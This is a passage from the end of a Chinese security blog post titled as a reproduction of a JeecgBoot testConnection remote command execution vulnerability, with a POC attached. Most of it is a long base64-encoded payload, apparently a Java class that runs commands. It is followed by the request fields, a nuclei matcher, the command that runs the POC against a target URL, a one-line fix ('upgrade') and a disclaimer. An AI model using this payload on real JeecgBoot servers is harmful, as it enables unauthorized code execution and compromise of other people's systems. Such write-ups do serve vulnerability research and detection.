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')"
,
"dbName"
:
"383BAb7deFC825E6"
,
"dbPassword"
:
"{{randstr}}"
,
"userName"
:
"{{randstr}}"
}
matchers-condition: and
matchers:
-
type
: dsl
dsl:
-
"status_code == 200 && contains(body,'连接成功') && contains(body,'{{randstr}}')"
运行POC
.nuclei.exe -t mypoc/其他/JeecgBoot-testConnection-rce.yaml -u http:
//x.x.x.x
07—修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):【漏洞复现】JeecgBoot testConnection 远程命令执行漏洞(附POC)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
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